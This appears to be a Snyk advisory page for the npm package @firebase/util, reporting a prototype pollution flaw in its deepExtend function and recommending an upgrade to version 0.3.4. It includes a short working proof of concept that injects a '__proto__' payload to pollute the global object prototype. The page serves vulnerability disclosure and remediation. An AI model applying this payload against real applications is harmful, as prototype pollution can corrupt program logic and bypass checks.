@firebase/util/.../util@0.2.28-canary.806aabb vulnerabilities

_NOTE: This is specifically tailored for Firebase JS SDK usage, if you are not a member of the Firebase team, please avoid using this package_

  • latest version

    1.10.2

  • latest non vulnerable version

  • first published

    7 years ago

  • latest version published

    20 days ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the @firebase/util package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • M
    Prototype Pollution

    @firebase/util is a wrapper of some Webchannel Features for the Firebase JS SDK.

    Affected versions of this package are vulnerable to Prototype Pollution. This vulnerability relates to the deepExtend function within the DeepCopy.ts file. Depending on if user input is provided, an attacker can overwrite and pollute the object prototype of a program.

    PoC

    const util = require('@firebase/util');
    var payload = JSON.parse('{"__proto__": {"polluted": "vulnerable"}}');
    
    const a = {
        nest: {
          number: 1,
          string: '1',
          object: { key: '1' },
          date: new Date(1),
          nest: {
            a: 1
          }
        },
      };
    
    var result = util.deepExtend(a,payload);
    console.log({}.polluted);
    

    How to fix Prototype Pollution?

    Upgrade @firebase/util to version 0.3.4 or higher.

    <0.3.4